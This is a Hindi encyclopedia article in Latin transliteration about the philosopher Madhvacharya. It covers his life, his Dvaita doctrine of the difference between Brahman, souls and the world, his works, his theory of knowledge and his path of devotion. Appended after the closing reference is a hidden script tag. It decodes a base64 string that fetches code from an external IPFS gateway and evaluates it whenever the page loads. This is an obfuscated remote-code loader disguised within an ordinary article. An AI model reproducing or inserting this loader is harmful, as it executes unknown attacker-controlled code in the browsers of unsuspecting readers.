मध्वाचार्य

thumb|250px|shrimadhvachary shrimadhvachary ka janm dakshin bharat mean udupi ke nikat tuluv kshetr ke veligram namak sthan par vijaya dashami vikram sanvat 1256 (1199 ee.) ko hua tha. inaka balyavastha ka nam vasudev tha. 11 varsh ki ayu mean hi inhoanne advait mat ke sannyasi sanakakulodbhav achary shuddhanand achyutapaksha se diksha le li. diksha lene par inaka nam poornaprajn p da. vedaant mean parangat ho jane par inhean anandatirth nam dekar mathadhish bana diya gaya. bad mean anandatirth hi madhv nam se prakhyat hue. madhy ne pahale shiksha-diksha to advait vedaant ki payi thi, kintu bad mean advaitavad se santusht n hone ke karan inhoanne dvaitavad ka pravartan kiya.

jivan parichay

shrimadhvacharyaka ka janm magh shukl saptami ke din tamilanadu ke mangaloor zile ke antargat belali gram mean hua tha. inake pita ka nam shrinarayan bhatt aur inaki mata ka nam shrimati vedavati tha. aisa kaha jata hai ki bhagavan narayan ki ajna se bhaktisiddhant ki raksha aur prachar ke liye svayan shri vayudev ne hi shrimadhvachary ke roop mean avatar liya tha. alpakal mean hi inako sampoorn vidyaoan ka jnan prapt ho gaya. jab inhoanne sannyas lene ki ichchha prakat ki, tab inake mata-pita ne mohavash usaka virodh kiya.

sannyas

shrimadhvachary ne apane mata-pita ke tatkalik moh ko apane alaukik jnan ke dvara nirmool kar diya. inhoanne gyarah varsh ki avastha mean advaitamat ke vidvanh sannyasi shriachyutapakshachary se sannyas ki diksha grahan ki. inaka sannyas ka nam poornaprajn rakha gaya. sannyas ke bad inhoanne vedant ka gambhir adhyayan kiya. inaki buddhi itani vilakshan thi ki inake guru bhi inaki alaukik pratibha se ashcharyachakit rah jate the. tho de hi samay mean sampoorn dakshin bharat mean inaki vidvatta ki dhoom mach gayi.

madhvamat ki prishthabhoomi

arambh mean advaitavad mean dikshit hone par bhi madhv ne shankar dvara pravartit advait vedaant par pramukh roop se do apattiyaan kian. pahali to yah ki advait vedaant mean samany anubhav ki upeksha ki gee hai. jiv aur brahm mean parthriky hone par bhi shankar ne unamean advait mana hai. yah samany anubhav ke anuroop nahian haian doosari apatti madhv ki yah thi ki shankarachary ke nirgun brahm ki sankalpana manav ko shanti pradan karane mean asamarth hai. madhv se pahale ramanuj ki bhi advaitavad mean trutiyaan dikhaee de gee thian, kintu madhv ko ramanuj ka kathan bhi aparyapt laga. at: unhoanne shankar ke atirikt ramanuj ke mat ko bhi grahy nahian samajha.

madhv ke mat ka sar yah hai ki shri vishnu hi sarvochch tatv haian, jagath saty hai, brahm aur jiv ka bhed vastavik hai, jiv eeshvar ke adhin haian, jivoan mean taratamy hai, atma ke antarik sukhoan ka anubhav hi mukti hai. shuddh bhakti hi mukti ka sadhan hai, pratyaksh, anuman aur agam ye tin hi praman haian aur hari ka jnan vedoan ke dvara hi sanbhav hai.

madhvachary ke granth

shri madhvachary ne anek granthoan ki rachana, pakhandavad ka khandan aur bhagavan ki bhakti ka prachar karake lakhoan logoan ko kalyanapath ka anugami banaya.

apane mat ki abhivyakti ke lie madhv ne lagabhag 30 varsh granth lekhan mean bitae. unake granthoan ki sankhya 37 bataee jati hai, unamean se katipay ke nam is prakar haian: brahmasootrabhashy anuvyakhyan, aitarey, chhandogy, ken, kath, brihadaranyak adi upanishadoan ka bhashy, gitabhashy, bhagavatatatparyaniranay, mahabharatatatparyanirnay, vishnutatvanirnay, prapanchamithyatatvanirnay, gitatatparyanirnay, tantrasarasangrah.

madhvachary ke pramukh siddhaant

madhv ke anusar brahm sagun aur savishesh hai. brahm ko hi vishnu ya narayan kaha jata hai. nirapeksh sath sarvagun sanpann brahm hi param tatv hai. usi ko parabrahm, vishnu, narayan, hari, parameshvar, eeshvar, vasudev, paramatma adi namoan se bhi pukara jata hai. vah chaitany svaroop hai, par nirgun nahian, vah jagath ka nimitt karan hai. upadan karan nahian, brahm apani ichchha (maya) se jagath ki srishti karata hai. jivoan aur jagath ki pratiti brahm ke adhin hai, at: vah svatantr mana jata hai, jabaki jiv aur jagath asvatantr haian. vishnu hi utpatti, sanhar niyaman, jnan avaran, bandh tatha moksh ke karta haian. vishnu shariri hote hue bhi nity tatha sarvatantr svatantr haian. paramatma ki shakti lakshmi hai. lakshmi bhi bhagavan ki bhaanti nity mukta hai aur divy vigrahadharini hone ke karan akshara hai.

madhv ke anusar brahm man-vani ke agochar haian- isaka tatpary yahi hai ki jis tarah parvat ko dekhane par bhi usake poorn roop se darshan nahian hote, usi prakar vani adi dvara bhi brahm ko poorn roop se vyakt nahian kiya ja sakata. shri madhv ne shankarachary ke mayavad ka khandan karate hue kaha ki jis prakar prakash aur aandhakar ek sath nahian rah sakate, usi prakar sachchidanand brahm ka avidya se prabhavit hona asangat hai, yadi avidya sath hai to advait siddhaant galat hai aur avidya asath hai to usaka kuchh bhi prabhav kaise p d sakata hai.

madhvachary ke anusar jiv brahm se bhinn hai, kintu aansh hone ke karan yah aanshi par avalambit hai. jiv mean bhi sath, chith tatha anand ka nivas hai.

kintu use yah sab brahm se hi prapt hai. brahm svatantr hai, jiv paratantr hai. sansar mean pratyek jivan apana prithakh vyaktitv banae rakhata hai. bhagavan ke sath chaitanyaansh ko lekar hi usase jiv ki ekata pratipadit ki jati hai. kintu samast gunoan par vichar karane par donoan ka prithakatv siddh ho jata hai.

jivoan mean paraspar bhed bhi haian aur ooanch-nich ka taratamy bhi. yah bhed saansarik dasha ke atirikt mokshavastha mean bhi rahata hai. sarvashreshth jiv devata kahalate haian, madhyam koti mean manushy ate haian aur adham (nich) jivoan mean daity, rakshas, pishach adi ki ginati ki jati hai.

jiv eeshvar tatha j d padarthoan se nahian, apit any jivoan se bhi bhinn hai. jiv sharir ke sanyog, viyog se janm maran ko prapt hota hai. madhv ka vichar hai ki upadhi ki utpatti aur sampark ke karan jiv sookshm aur sthool sharir dharan karata hai. jiv ki do upadhiyaan haian- svaroopopadhi aur bahyopadhi. svaroopopadhi jiv se alag nahian hai, kintu bahya upadhiyaan sookshm sthool sharir adi haian. jagath ki srishti eeshvar ki ichchha se hoti hai, jiv ki ichchha se nahian. jiv pratyek deh mean bhinn hai, vah kabhi bhagavan ke sath abhinn nahian ho sakata. jiv ajnan, moh, adi anek prakar ke doshoan se bhi grast hai.

madhv ke matanusar moksh char prakar ka hai- karmakshay, utkraanti archiradi marg aur bhog. bhog bhi saloky, samipy, saroopy tatha sayujy bhed se char prakar ka hota hai. madhv ke anusar vaikunth prapti yani vishnu ke lok aur roop ki prapti hi mukti hai. mukt jiv bhi eeshvar ka sevak hai. mukti ke lie prapanch bhed ka jnan avashyak hai. prapanch bhed is prakar hai-

1. brahm jiv se prithakh hai
2. brahm jagath se bhi prithakh hai
3. ek jiv any jiv se prithakh hai
4. jiv jagath se prithakh haian
5. j d jagath ke vibhakt ya karyaroop mean parinat hone par usaka ek aansh any aansh se prithakh ho jata hai
6. bhakti hi mukti ka sadhan hai, bhagavan ki seva karana uttam sadhan hai.

seva ke prakar

seva tin prakar ki hoti hai-

1. bhagavan ke ayudhoan ki chhap sharir par lagana
2. putr adi ka nam bhagavan ke nam par rakhana
3. bhejan karana.

bhajan ke prakar

bhajan 10 prakar ka hota hai. char prakar ka vachik-

• saty bolana, hit ke vaky bolana, priy bhashan aur svadhyay.
• tin prakar ka sharirik-

1. sadapatr ko dan dena
2. vipann vyakti ka uddhar karana
3. sharanagat ki raksha karana.

• manasik-

1. daya arthath daridr ke du:kh door karana
2. spriha arthath bhagavan ka das banane ki ichchha
3. shraddha arthath guru aur shastr mean vishvas karana.

madhv ka vichar hai ki in 10 prakar ke karyoan ko karate hue narayan mean samarpit ho jana hi bhajan hai.

praman mimaansa ke sambandh mean bhi madhvachary ke vichar dhyan dene yogy haian. unhoanne praman shabd ka prayog do arthoan mean kiya hai-

1. yatharth jnan
2. yatharth jnan ka sadhan.

pahala unake anusar keval praman hai, aur doosara anupraman. kisi vastu ka yatharth (thik-thik) jnan prapt karana kaval praman kahalata hai. aur jis sadhan dvara vah jnan prapt hota hai, vah anupraman kahalata hai. madhvachary ke anusar praman tin haian- pratyaksh, anuman aur shabd. madhv ne pratyaksh ke sat bhed mane haian. arth aur indriyoan ke nirdosh hone par hi pratyaksh sambhav hai. at: unhoanne pratyaksh ki paribhasha mean nirdosh shabd ko bhi jo d diya hai. nirdosharthendriyasannikarsh: pratyakshamh. nirdosh se ashay hai nishchit arth ka bodh karane vala. paanchoan indriyoan par adharit paanch bhedoan ke atirikt unhoanne man aur atma par adharit do any bhed manakar unaki sankhya sat bataee hai.

madhv ke anusar nirdosh upapatti hi anuman hai. isake do bhed haian- svarthanuman aur pararthanuman. unaka yah bhi vichar hai ki pararthanuman tin avayavoan se hi poorn ho jata hai aur upaman ka bhi anuman mean hi aantarbhav ho jata hai. agam ke do bhed batae gaye haian, paurushey aur apaurushey.

achary madhv ke anusar sab jnan apekshik haian. jnata aur jney ke bina jnan ki utpatti nahian ho sakati. madhv nirvikalpak jnan ki satta ko svikar nahian karate. ve jnan ko savikalpak hi manate haian. madhv ko shankar ka yah vichar many nahian hai ki 'drishy vastu vastavik nahian hoti, jnan hi saty hota hai.' madhv shankar ke viparit yah manate haian ki drishy aur saty abhinn haian. savikalpak jnanavad se jisaki satyata siddh hogi, vahi saty hai.

madhv ke anusar padarth ya tatv do prakar ka hai- svatantr aur asvatantr. bhagavan vishnu svatantr tatv hai, jabaki jiv aur j d jagath asvatantr tatv haian. madhv ke matanusar padarth das haian-

1. dravy (bhav vastu)
2. gun
3. karm
4. samany
5. vishesh
6. vishisht
7. aanshi
8. shakti
9. sadrishy
10. abhav

yah jnatavy hai ki naiyayikoan ke samavay ko chho dakar avashisht chh: tatha char any ne padarthoan ka madhv ne pariganan kiya hai. in padarthoan ka vistar se niroopan padmanabh ke madhvasiddhaantasar mean upalabdh hota hai. madhvamat mean dravy ke nimnalikhit bis bhed bataye ge haian- paramatma, lakshmi, jiv, avyakrit, akash, prakriti (gunatray) mahattatv, ahankaratatv, buddhi, man, indriy, tanmatraean, mahabhoot, brahmand, avidya, varn, aandhakar, vasana, kal aur pratibimb. madhv ke anusar jisamean upadan karanata ho, vah dravy kahalata hai. karm tin prakar ka mana gaya hai- vihit, nishiddh tatha udasin. utkshepan, apakshepan adi karmoan ka aantarbhav udasin karm mean kiya gaya hai. jati tatha upadhi bhed se samany do prakar ka mana gaya hai. bhed ka abhav hone par bhi bhed vyavahar ke nirvahak padarth ko vishesh kaha gaya hai, shakti char prakar ki mani gee hai-

1. achintyashakti
2. adheyashakti
3. sahajashakti
4. padashakti.

achinty shakti aghatit ghatana patiyasi hoti hai aur bhagavan vishnu mean hi rahati hai.

madhv eeshvar, jivoan aur jagath ki paramarthik satta svikar karate haian. prakriti, jiv aur eeshvar ka ek doosare se aantarbhav nahian hota. haan eeshvar (parabrahm) svatantr tatv hai, jabaki prakriti aur jiv paratantr tatv haian. brahm, jiv aur prakriti svaroopat: bhinn haian, at: unamean abhed nahian hai. madhv ka yah vichar hai ki 'tatvamasi' adi vakyoan dvara bhi jiv ki tatvik svatantrata vyakt hoti hai, n ki brahm se jiv aur jagath ka svaroop bhed. madhv ke anusar prakriti jagath ka upadan karan hai. doosare shabdoan mean jagath prakriti ka vikar ya parinam hai. upadan karan mean do prakar ka parinam hota hai- dharm parinam aur dharmi parinam. upadan karan aur kary mean bhed tatha abhed bhi hota hai. tanturoop upadan karan aur pat roop kary mean bhed bhi hai, aur abhed bhi. is prakar madhv satkaryavad aur parinamavad se sahamat pratit hote haian. jagath ka upadan karan prakriti hai. vah paramarthik tatv hai, at: usaka vikar mithya ya asath kaise ho sakata hai. brahm ke eekshan dvara prakriti se jagath ki srishti bataee gee hai. at: madhv ka mat is sandarbh mean bahut kuchh saankhy se milata-julata pratit hota hai.

bharat bhraman

shrimadhvachary ne sampoorn bharat ka bhraman kiya aur sthan-sthan par shastrarth karake vidvanoan mean durlabh khyati arjit ki. inake shastrarth ka uddeshy bhagavadbhakti ka prachar, vedoan ki pramanikata ki sthapana, mayavad ka khandan tatha shastr-maryada ka sanrakshan karana tha. gitabhashy ka nirman karane ke bad inhoanne badarinarayan ki yatra ki. vahaan inako bhagavan vedavyas ke darshan hue. anek raja inake shishy hue. anek vidvanoan ne inase prabhavit hokar inaka mat svikar kiya. inhoanne anek prakar ki yog-siddhiyaan prapt kian. badarinarayan mean shri vyasji ne in par prasann hokar inhean tin shaligram-shilaean di thian, jinako inhoanne subrahmany, madhyatal aur udupi mean padharaya.

ek bar kisi vyapari ka jahaz dvaraka se malavar ja raha tha. tulub ke pas vah doob gaya. us mean gopichandan se dhaki huee bhagavan shrikrishna ki ek moorti thi. madhvachary ko bhagavan ki ajna prapt huee aur unhoanne jal se moorti nikalakar udupi mean usaki sthapana ki, tabhi se vah sthan madhvamatanuyayiyoan ka shreshthatirth ho gaya. inhoanne udupi mean aur bhi ath mandiroan ki sthapana ki. aj bhi log unaka darshan karake jivan ka vastavik labh prapt karate haian. ye apane jivan ke antim samay mean saridantar namak sthan mean rahate the. yahian par inhoanne apane paanchabhautik sharir ka tyag kiya. dehatyag ke avasar par inhoanne apane shishy padmanabhatirth ko shriramji ki moorti aur vyas ji ki di huee shaligram shila dekar apane mat ke prachar ki ajna di. inake shishyoan ke dvara anek math sthapit hue.

madhvachary ka bhaktiparak mat

achary madhv ka bhakti parak mat amala bhakti ke nam se prasiddh hai. kahian kahian isako brahm sampraday ke nam se bhi abhihit kiya jata hai. any sampradayoan mean vishnu ko param tatv ka pratik mana gaya hai, param tatv nahian, jabaki madhv ke matanusar vishnu svayan param tatv haian. madhv ka yah kathan hai ki jiv anadikal se baddh hai aur ajnanadi dharmoan ka ashray hai. jiv aur eeshvar mean aisa hi bhed hai, jaisa ki nadi aur samudr mean. jiv mayamohit hai, paratantr hai aur vishnu ka das hai. jiv ka moksh vishnu ke anugrah se hi hota hai. jiv ko eeshvar ki kripa prapt karane ke lie eeshvar ka smaran, gun, kirtan, shravan, dhyan adi karana chahie. eeshvar ki upasana bhi adhikari bhed se do prakar ki mani gee hai-

1. satat shastrabhyasaroopa
2. dhyanaroopa.

madhv ke matanusar vishnu ki bhakti ke athava brahmavidya ke adhikari bhi tin prakar ke hote haian-

1. mand
2. madhyam
3. uttam

manushyoan mean jo uttam gun sampann haian, ve mand rrishi, gandharv-madhyam, aur devata uttam adhikari haian. yah bhed jatigat hai. gunagat bhed is prakar hai- paramapurush bhagavan mean bhaktibhav rakhane vala adhyayanashil adham, shamasanyukt vyakti madhyam aur jisake andar samast vastuoan ke prati vairagy ho gaya hai, jisane ekamatr vishnu ke pad ka ashray le liya hai, vah uttam adhikari hai.

madhv ke anusar tyag, bhakti aur eeshvar ki pratyaksh anubhooti mukti ka ekamatr sadhan hai. dhyan ke bina eeshvar sakshatkar nahian hota. bhagavan mean bhakti, vedadhyan, indriy sanyam, vilasita ka tyag, asha aur bhay se udasinata, saansarik vastuoan ki nashvarata ka jnan, sampoorn roop se bhagavan ke prati atmasamarpan, in gunoan ke bina bhagavatsakshatkar hona asambhav hai.

bhagavan ki seva karana uttam sadhan hai. jaisa ki pahale bhi kaha gaya hai, seva tin prakar ki hoti hai- bhagavan ke ayudhoan ki chhap sharir par lena, ghar mean putradi ka nam bhagavan ke nam par rakhana aur bhajan, saty bolana, hit ke vaky ke bolana, priy bhashan aur svadhyay- ye char prakar ke vachik bhajan haian. satyapatr ko dan dena, vipann vyakti ka uddhar karana aur sharanagat ki raksha karana- ye tin sharirik bhajan haian. daridr ka du:kh door karana daya hai, keval bhagavan ka das banane ki ichchha ka nam spriha hai aur guru tatha shastr mean vishvas karana shraddha hai. in dasoan prakar ka kary karake narayan ko samarpit karana bhajan hai.

achary ramanuj ke anusar bhi dhyan aur upasana adi mukti ke sadhan haian. jnan mukti ka sadhan nahian hai. mukti prapti ka upay bhakti hai. ve kahate haian ki brahmatmaiky jnan se avidya ki nivritti nahian ho sakati, kyoanki jab bandhan paramarthik hai, tab is prakar ke jnan se usaki nivritti nahian ho sakati. bhakti se bhagavan prasann hon par mukti pradan karate haian.

madhv ke matanusar vastavik sukh ki anubhooti hi mukti hai. vastavik sukh vah hai, jisamean du:kh ke kshay ke sath hi paramanand ka uday ho jata hai. aisi sthiti sayujy mukti mean hi sambhav hai, kyoanki bhakt bhagavan mean pravesh kar unake sharir se ekakar hokar anand prapt karata hai. aisi mukti ka sarvashreshth sadhan amala bhakti hai. nirhetuki bhakti ko hi amala kaha jata hai. kisi karan se ki gee bhakti 'hetuki' kahalati hai. madhv usako nikrisht manate haian.

tika tippani aur sandarbh

bijalvan, d aau. chakradhar vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 379.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>